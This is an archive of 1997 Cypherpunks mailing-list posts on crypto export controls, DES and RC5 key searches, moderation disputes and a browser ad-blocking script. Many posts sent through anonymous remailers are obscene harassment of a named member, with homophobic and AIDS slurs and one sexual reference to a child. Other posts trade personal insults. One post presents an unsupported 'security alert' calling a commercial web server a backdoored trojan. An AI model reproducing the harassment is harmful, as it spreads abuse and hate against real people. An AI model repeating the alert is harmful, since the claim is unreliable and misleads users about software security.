From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 30 Jan 1997 10:20:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701300441.UAA22482@toad.com>
Message-ID: <0mwCLF200YUh0Imr80@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu> writes:
<snip>
> The above may have been dictated via Dragon Dictate 2.51 voice
> recognition. Please be alert for unintentional word substitutions. 

Stego? Maybe 3 bits per substituted word? Good bye, uhnsufride, hello,
"speech recognition."

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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=iACw
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Thu, 30 Jan 1997 10:35:55 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: A comment on the censorship policy
In-Reply-To: <7Zoc2D4w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970130133328.25609A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> OKSAS <oksas@asimov.montclair.edu> writes:
> > On Thu, 30 Jan 1997, Anonymous wrote:
> > > I cannot understand how some of my (accurate) criticisms of Sandfort's
> > > censorhip polices---some in direct response to his own self-serving posts
> > > declaring himself not to be a flamer himself---are not making it to the
> > > "New and Improved Censored List," while inane posts from Toto, Thorn, and
> > > someone named "Nurdane Oksas" are appearing.
> > 
> > 	WEll....that's not so bad ;)
> 
> I find Oksas's posts to be very interesting.  

	Thank you.

> > > (Oksas has the especially annoying habit of quoting entire posts and then
> > > appending a one-line piece of completely list-irrelevant fluff. Also,
> > 	Is it so annoying...? why did you read it to that point??? :)
> > 	Why could you not be so anonymous and tell me?  My posts are
> > 	a bit brief; Blancs' are far better, next time read hers.
> > 
> > > engaging in lovey-dovey posts with Vulis, who writes messages about how he
> > > longs to see Oksas naked.)
> > 
> > 	Huh??  You are being a 'fluff' here ;)
> 
> "Anonymous" is lying - I never posted any such thing.  of course the
> cocksuckr moderator passed on the "anon's" lies to the censored mailing
> list, and I bet he's goingto auto-bounce my refutation to "flames"
> - just as everyone had predicted.

	Anonymous is a jerk.
> > 	
	Best Regards,

	OKSAS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Thu, 30 Jan 1997 13:40:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Clarification on The Politics of Export Restrictions
Message-ID: <3.0.1.32.19970130133913.0068c9b0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I am submitting the following a second time as the first one did not seem
to get posted.

==============

I agree the strategy would have to be hijack-proof.  Something like Gore
experiencing a convenient "change of heart" towards the end of this current
term and convincing Clinton and the administration to soften crypto export
restrictions which would make Gore look like a hero to the high-tech
community just in time for the election. Naturally this would have to be
carefully scripted but the objective would be to keep the democrats in power.

Just a theory.



>>Return-Path: <owner-cypherpunks@toad.com>
>>Date: Wed, 29 Jan 1997 23:43:43 -0800
>>From: Greg Broiles <gbroiles@netbox.com>
>>To: Rick Hornbeck <rnh2@ix.netcom.com>
>>Cc: cypherpunks@toad.com
>>Subject: Re: The Politics of Export Restrictions
>>Sender: owner-cypherpunks@toad.com
>>
>>At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:
>>
>>>Is it possible the unreasonable crypto export restrictions are simply being
>>>imposed at this time for the purpose of making Al Gore look good when he
>>>runs for President in 2000?
>>
>>I suppose it's plausible, but it's an opportunity open to both candidates,
>>and more plausibly (because of lack of collaboration) to the Republicans -
>>e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
>>to rescue Silicon Valley from those evil regulatory Democrats. 
>>
>>If I were an evil politician trying to set up a trick like you suggest, I
>>think I'd want a scheme that my opponent(s) couldn't hijack and use against
>>me.
>>
>>--
>>Greg Broiles                | US crypto export control policy in a nutshell:
>>gbroiles@netbox.com         | 
>>http://www.io.com/~gbroiles | Export jobs, not crypto.
>>                            | 
>>
>>
>>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 30 Jan 1997 14:31:43 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701302036.MAA26546@netcom14.netcom.com>
Message-ID: <Pine.SUN.3.91.970130141730.3955H-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 30 Jan 1997, Vladimir Z. Nuri wrote:

> as I've said before, I really hate the "cat out of the bag"
> saying, as Aaron's recent comments indicate.

Interestingly, the saying, "to let the cat out of the bag" is
related to the saying, "to buy a pig in a poke."  A poke is a
sack or bag.  In times past, street peddlers would sell a mark a 
young pig.  The pig was supposedly put into a poke, but in fact,
a bag with a cat in it was substituted.  By the time the mark
figured out his mistake by "letting the cat out of the bag," the
peddler was long gone.  The lesson the mark learned was "Don't
buy a pig in a poke."

The better metaphor for crypto is that the genie is out of the
bottle.  Alternatively, that the crypto bell cannot be unrung.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 30 Jan 1997 12:08:12 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701301837.KAA10125@mail.pacifier.com>
Message-ID: <Pine.LNX.3.95.970130145535.22704B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, jim bell wrote:

> At 09:05 PM 1/28/97 -0800, Dale Thorn wrote:
> 
> >I dare say that the downside of this is much less pleasant than the
> >virtual anarchy (in the bad sense) we suffer now.  If the police get
> >out of control, A.P. will arrive just in time to plug a few of those
> >holes, so to speak.  Ideally, future robotics should be able to
> >provide something like Gort (sp?) to take the place of human officers,
> >given advances in the kind of pattern matching needed to deter
> >aggression and the like.  Those who don't make it past the robots,
> >well, the rest of us can learn to behave, and we'll be much better
> >off when we do.
> 
> 
> Your comparison with the fictional Gort, in the movie "The day the earth 
> stood still" is of course apt.  It was only after I'd written most of the 
> essay that I realized that an AP-type system would function much as Gort did.  
> 
> Occasionally we (CP) see a spoof where somebody claims to have developed a 
> software program to "replace the judicial system" or something like that.  

You may be able to replace the "Letter of the Law" but you can not
replace the "Spirit of the Law" with an Android or a bot.  (notice
I refuse to type like a geek with those "`" characters)  So, humanoids
will always be entitled to a jury of their "peers" as the constitution
says, and that means no AI involved.

AI was made for usenet management.

> Well, the problem with such a claim (aside from the obvious and enormous 
> AI-type difficulties) is that the current system contains numerous biases.  
> Writing a program to replace the legal system would presumably require that 
> these biases be measured (and admitted-to!) and implemented into a 
> well-defined system.  
> 
> What we'd discover is that the current system only barely resembles the 
> guarantees in the US Constitution. At that point, there would be an argument 
> between those who will insist that the Constitution be followed, and those 
> who believe that the current de-facto system, however biased, be maintained 
> as-is.  
> 

The 12 to 0 verdict will always be the bias in favor of the defendant,
and it must stay that way.

>  
> 
> Jim Bell
> jimbell@pacifier.com
> 

With the different combinations of Perl and Java and Lisp that are
around today, the time will come when an android or an AI bot will
have become dangerous to society, and charged with a crime.
Will it be entitled to a jury of it's peers?

mail.cypherpunks
alt.usenet.admin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:12:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ADMINISTRIVIUM] S/MIME
Message-ID: <199701302312.PAA04312@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Disruptive L[eakage] Vulis does NOT eat pussy. He only eats
asshole if it's got a big dick up in front. Whoever calls him
bisexual is a fucking liar. He likes to suck cocks in front of
an audience.

        /\_./o__ Dr.Disruptive L[eakage] Vulis
       (/^/(_^^'
      ._.(_.)_






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:14:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam filters
Message-ID: <199701302312.PAA04358@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Deviant Vitriolic KOTM likes to be the man in the middle,
getting it both up the ass and in his mouth.

 ^-^-^-@@-^-^-^
      (..)     Deviant Vitriolic KOTM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:13:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Degausser
Message-ID: <199701302313.PAA04406@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceptive L<avabo> Violent K<ondom> Of The Moment enjoys sucking
the puss from his syphilitic homosexual friends.

   /o)\ Deceptive L<avabo> Violent K<ondom> Of The Moment
   \(o/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
Date: Thu, 30 Jan 1997 12:16:12 -0800 (PST)
To: jimbell@pacifier.com
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <970130151428.20215ea4@hobbes.orl.mmc.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Bell rote:
>Assuming it's possible to build a chip which tests solutions in a 
>massively-pipelined mode, the 400,000 or so solutions per second tried (for 
>what is probably a $2000 machine) would probably increase to 100 million per 
>second per chip (at a cost of maybe $100 per chip, if implemented in 
>parallel).    That's 5000 times more economical,  which would translate to a 
>find in 2-3 days if the same dollars in hardware were invested.

Hi Jim, still on your list 8*)

Funny thing is that 3 1/2 hours for a 40 bit search is the "real world"
number I was using two years ago (can look it up in various archives)
so is interesting that the first real test came out exactly the same.

Is why I said 40 bits should not protect anything worth more than U$250.00

Have good reason to believe your estimate for a purpose built machine this
year (expect 600,000,000 to 1,000,000,000 kps per sieve - these will not 
be cheap chips but will be commecially available). Expect 400 arrays
would be required to do DES in a day (average) but is a lot more
achievable than the 65k postulated by the gang of nine.

Still would not be too concerned about using DES so long as every message 
encrypted (including orders for a tuna on rye) and each uses a different
key - is "security by obscurity" in a way but am comfortable with it.

Besides, if really concerned will just superencrypt.

					Warmly,
						Padgett

	"I love it when a plan comes together."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Jan 1997 15:32:56 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <Pine.SUN.3.91.970130141730.3955H-100000@crl.crl.com>
Message-ID: <199701302332.PAA12616@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


fascinating reading sandy, but

>
>The better metaphor for crypto is that the genie is out of the
>bottle.  Alternatively, that the crypto bell cannot be unrung.

these have the same conceptual limitations I was flaming. to
use the analogy:

1. it is unconstitutional to put a crypto genie in a bottle
in the first place.
2. it is unconstitutional to make laws against ringing crypto bells.

again, when you use the above analogies, the government can
argue with you and say, "no, we thing that crypto hasn't really
spread as much as it could without the ITAR", and this is a 
pretty difficult point to argue. how can you argue that crypto
has spread as much as it possibly can? relaxing regulations would
surely cause it to spread more than it has.

admittedly, I can't think of a nice substitute with a good "ring to it". <g>

however, I do like the saying that crypto-news has been using about
"our safe, our KEYS!!" or something similar. I propose that people
emphasize this. using any of the other analogies just encourages 
orwellian thinking along the lines in the government: oh YEAH?! who
SAYS the genie is out of the bottle?! what makes you think we can't
put him BACK THERE?!

so imho its all a diversion and a decoy. it's the wrong argument
to get involved in-- has crypto spread to make it impossible to 
contain? and as the saying goes, "never get in an
argument with a fool, people might not know the difference".

do we believe in the constitution or not? perhaps it becomes
a self-fulfilling prophecy when we don't.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:36:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Clipper chip
Message-ID: <199701302336.PAA11396@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dick Vandal will fuck anything that moves, but he'd rather be
fucking his own mother's dead body.

      /^\
      |-|
      | |
     _| |____ Dick Vandal
    | | | | |
   <| | | | |
    \_______|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:37:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PGP] PEM
Message-ID: <199701302337.PAA11726@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deadwood L[apdancer] Vasectomy K[retin]OTM likes to be the
man in the middle, getting it both up the ass and in his mouth.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Dr.Deadwood L[apdancer] Vasectomy K[retin]OTM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "XaViUs@pe.net" <hacker@pe.net>
Date: Fri, 31 Jan 1997 16:26:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: UNSCRIBE
Message-ID: <199702010026.QAA01149@pe.net>
MIME-Version: 1.0
Content-Type: text/plain


UNSCRIBE




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 30 Jan 1997 13:08:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Denning
Message-ID: <199701302049.PAA28115@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Dogfucker L<ubricant> Vinegar K<ock>OfTheMoment is so vile
because rancid semen is dripping from all of his orifices.

  /~~~\
 {-O^O-} Dogfucker L<ubricant> Vinegar K<ock>OfTheMoment
  \ o /
   (-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: svolaf@inet.uni-c.dk (Svend Olaf Mikkelsen)
Date: Thu, 30 Jan 1997 08:00:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: The BrydDes descracker. Beta-version available.
Message-ID: <32f5c492.24108705@mail.uni-c.dk>
MIME-Version: 1.0
Content-Type: text/plain


BrydDes is a DOS program, which issues a known plaintext attack for
DES encryption. The method is brute force.

ECB mode and CBC mode with known IV are supported.

On a Pentium 120, this version of the program can test 369,000 keys in
a second.

Please note that this is a beta-release. A new version will be shipped
February 11th, or earlier if errors are discovered.

So far source is not included. Automatic restart from the last key
tested is not supported yet, but a shell could be written.

The code is tested on a Pentium, but should run on a 486.

The program is available at http://inet.uni-c.dk/~svolaf/des.htm

Svend Olaf

PS. "Bryd" is crack or break in Danish.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:57:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [GSM] 2 Questions
Message-ID: <199701302357.PAA17055@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dense Vaginal K>rud<OfTheMoment will fuck anything that moves,
but he'd rather be fucking his own daughter's prepubescent body.

             \|/
             @ @
        -oOO-(_)-OOo- Dense Vaginal K>rud<OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:57:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [OFF-TOPIC] Alphabet frequency charts
Message-ID: <199701302357.PAA17066@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dinghy Violent K)arcass(OfTheMonth wears satin lingerie
embroidered with pink swastikas, prancing around for his
homosexual, AIDS infected lovers.

        /\_./o__ Dinghy Violent K)arcass(OfTheMonth
       (/^/(_^^'
      ._.(_.)_






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 15:57:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Denial of service attack
Message-ID: <199701302357.PAA17131@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Disruptive Viscera K[ondom] Of The Minute grew a beard to look
like his mother.

(~\/~) /~'\ /`~\   _    _
`\  /'(    `    ) ( `\/' )
  `'   `\     /'  `\    /' Disruptive Viscera K[ondom] Of The Minute
         `\ /'      `\/'
           '






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 30 Jan 1997 16:29:43 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701302332.PAA12616@netcom23.netcom.com>
Message-ID: <Pine.SUN.3.91.970130155512.8011H-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 30 Jan 1997, Vladimir Z. Nuri wrote:

> fascinating reading sandy, but
> 
> >
> >The better metaphor for crypto is that the genie is out of the
> >bottle.  Alternatively, that the crypto bell cannot be unrung.
> 
> these have the same conceptual limitations I was flaming. to
> use the analogy:
> 
> 1. it is unconstitutional to put a crypto genie in a bottle
> in the first place.
> 2. it is unconstitutional to make laws against ringing crypto bells.

We do not disagree except neither of the metaphors I gave suggest
anything about the "putting in the bag" part of the deal.  In no
way does either suggest a right, power or even ability of anyone
to limit any freedom.  They are mute on the subject.  Their sole
meaning is that one CAN'T undo what is already done.  In the
instant case, that means the wide-spread availability of strong
crypto.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 14:22:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <Pine.SOL.3.93.970130113556.22219A-100000@pegasus.montclair.edu>
Message-ID: <eD5c2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS <oksas@asimov.montclair.edu> writes:

> On Wed, 29 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > sameer <sameer@c2.net> writes:
> > 
> > > 	David Aaron seems to make lying out of his ass a hobby. His
> > > talk at the RSA conference was such a load of bullshit it wasn't even
> > > funny.
> > 
> > The above is a flame.  But because Sandy works for Sameer, it was posted
> > to the censores list, not tosses to "cypherpunks-flames".
> 
> 	Hmm, I wonder what Sandy does for Sameer...
> 
> 	Regards,
> 

Not surprisingly, Sandy (a law school flunky) is a salesman for Sameer.
So is greg broils, who graduated from some obscure law school but
hasn't passed a bar exam. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 14:10:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <199701301831.KAA12660@gabber.c2.net>
Message-ID: <Rg5c2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer <sameer@c2.net> writes:

> > 
> > Remember, Aaron is employee of the government.  He talks in doublespeak,
> 
> 	Aaron is employee of the government. Therefore he must lie.

Sandy and Greg are employees of Sameer.  Therefore all 3 must lie.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 14:24:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Censorship
In-Reply-To: <199701301913.LAA12120@toad.com>
Message-ID: <uN5c2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS <oksas@asimov.montclair.edu> writes:

> On Thu, 30 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > OKSAS <oksas@asimov.montclair.edu> writes:
> > > On Thu, 30 Jan 1997, Anonymous wrote:
> > > > I cannot understand how some of my (accurate) criticisms of Sandfort's
> > > > censorhip polices---some in direct response to his own self-serving pos
> > > > declaring himself not to be a flamer himself---are not making it to the
> > > > "New and Improved Censored List," while inane posts from Toto, Thorn, a
> > > > someone named "Nurdane Oksas" are appearing.
> > > 
> > > 	WEll....that's not so bad ;)
> > 
> > I find Oksas's posts to be very interesting.  
> 
> 	Thank you.

You are very welcome -- Sandy is a jerk for tossing your mail!

> 
> > > > (Oksas has the especially annoying habit of quoting entire posts and th
> > > > appending a one-line piece of completely list-irrelevant fluff. Also,
> > > 	Is it so annoying...? why did you read it to that point??? :)
> > > 	Why could you not be so anonymous and tell me?  My posts are
> > > 	a bit brief; Blancs' are far better, next time read hers.
> > > 
> > > > engaging in lovey-dovey posts with Vulis, who writes messages about how
> > > > longs to see Oksas naked.)
> > > 
> > > 	Huh??  You are being a 'fluff' here ;)
> > 
> > "Anonymous" is lying - I never posted any such thing.  of course the
> > cocksuckr moderator passed on the "anon's" lies to the censored mailing
> > list, and I bet he's goingto auto-bounce my refutation to "flames"
> > - just as everyone had predicted.
> 
> 	Anonymous is a jerk.
> > > 	

So are gilmore and the sandfart.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 14:17:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security alert!!!
Message-ID: <aw5c2D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 30 Jan 1997 15:57:23 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: uae_1.html
In-Reply-To: <199701301948.LAA18794@mail.pacifier.com>
Message-ID: <32F13DA1.A95@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:

> I wonder what these people will think when organizations like Teledesic and
> Iridium start operating (low-earth-orbit satellites) to allow
> totally-wireless connectivity.  It seems to me that there will be a market
> for services that allow anonymous browsing, perhaps with encrypted requests
> that return otherwise-unidentified data on a publicly-accessible airwaves.

  Think of the possibility of satellite-fed 'roving' InterNet sites.
  What will be the 'export' implications of sending crypto to a place
such as site.nowhere, site.somewhere, and site.intheUS-hee-hee.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 16:33:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: [GSM] Hardening mailing lists against spam attacks
Message-ID: <199701310033.QAA27430@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Derisve Vitriol K[reep]OfTheMoment died of AIDS last night
with his faggot lover.

           __o
         _ \<_  Dr.Derisve Vitriol K[reep]OfTheMoment
        (_)/(_)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 30 Jan 1997 13:55:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Counterproductive Dorothy Denning Flames
Message-ID: <199701302137.QAA28407@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck a Dr.Decoy Vomit K<reep> Of The Moment in
the ass, a tapeworm might bite your penis.

    /\        /\
   +  \______/  +
      / .  . \
     <   /    >  Dr.Decoy Vomit K<reep> Of The Moment
      \ \--/ /
       ------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Wed, 29 Jan 1997 19:40:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New export controls to include code signing applications
Message-ID: <85459562931827@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


The Men in Black made Lucky Green <shamrock@netcom.com> write:
 
>[Listing specific software prohibited from export]
>"c.2. "Software" to certify "software" controlled by 5D002.c.1; "
>
>And, btw, virus checkers are also prohibited from export. Makes you wonder.
>
>"c.3. "Software" designed or modified to protect against malicious computer
>damage, e.g., viruses;"
>
>That includes every firewall product, every virus checker, every data security
>product, and this regardless if the product uses crypto or not. The new
>regulations go way beyond controlling crypto. The USG, in a massive power
>grip, has put data security as a whole on the export control list.
 
These aren't new regulations, they're old regulations which have resurfaced.
I've managed to obtain a copy of part of the old pre-Wassenaar COCOM
regulations, which contain the magic lines:
 
  5.D.2.c Specific "software" as follows:
 
    1. "Software" having the characteristics, or performing or simulating the
        functions of the equipment embargoed by 5.A.2 or 5.B.2.
 
    2. "Software" to certify "software" embargoed by 5.D.2.c.1.
 
    3. "Software" designed or modified to protect against malicious computer
        damage, e.g. viruses.
 
This is from the October 1991 version.
 
By October 1996 this had changed to:
 
  5D002 c Specific "software" as follows:
 
    1. "Software" having the characteristics, or performing or simulating the
        functions of the equipment embargoed by 5A002 or 5B002.
 
    2. "Software" to certify "software" specified in 5D002.c.1.
 
It looks like someone used the old COCOM regs as the basis for the EAR rather 
than the newer Wassenaar ones.  The two are almost identical anyway except for 
a few minor points.  It's likely that the anti-virus clause is due to 
bureaucratic bungling rather than malicious intent.
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 30 Jan 1997 14:23:34 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: ad.doubleclick.net (fwd)
Message-ID: <Pine.LNX.3.95.970130172237.1585F-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 23 Jan 1997 14:15:38 -0800
From: Caveh Frank Jalali <caveh@Eng.Sun.COM>
Subject: URL filtering, Re: ad.doubleclick.net (RISKS-18.78)

The obvious defense against hostile or undesirable web sites is to not visit
them in the first place.  This process can in fact be automated in
netscape's browser.  This saves bandwidth and your time!

The basic premise is that the browser may optionally execute a function on
every URL before it is accessed to determine whether a direct connection
should be made or a proxy should be used in the process.  This affords the
opportunity to [mis]direct the browser to fetch the document from an invalid
source.  this is a good approximation of not getting the document at all.

We sit behind a fire wall, so all WWW access has to funnel through a
proxy.  If I tell netscape to fetch an external document using a
direct connection, the connection attempt will fail, and the document
will not be accessed.  Netscape will put a broken image icon in its
place.

Here are the nuts and bolts to do it, but some assembly is required:
Under options/network preferences/proxies, select "automatic proxy
config" and tell it which file to use.  Call it something like
"file:///HOMEDIR/.netscape/proxy.pac", replacing HOMEDIR with your
home directory; the actual code is included below.
Next, go to options/general preferences/helpers and create an
application helper of type "application/x-ns-proxy-autoconfig" for
suffix "pac", handled by "navigator".
Install this java-script code to do the actual filtering.  call it
"file:///HOMEDIR/.netscape/proxy.pac", as mentioned before.

================
function FindProxyForURL(url, host) {
	if ( isResolvable(host) && ! shExpMatch(host, "[0-9]*") )
		return "DIRECT" ;
	else if (host == "advertising.quote.com")
		return "DIRECT" ;
	else if (host == "ad.doubleclick.net")
		return "DIRECT" ;
	else if (shExpMatch(url, "*:*/ads/*"))
		return "DIRECT" ;
	else
		return "PROXY webcache:8080; ";
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 17:20:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Clarification on The Politics of Export Restrictions
In-Reply-To: <3.0.1.32.19970130133913.0068c9b0@popd.ix.netcom.com>
Message-ID: <ua9c2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Hornbeck <rnh2@ix.netcom.com> writes:

> I am submitting the following a second time as the first one did not seem
> to get posted.
> 
...

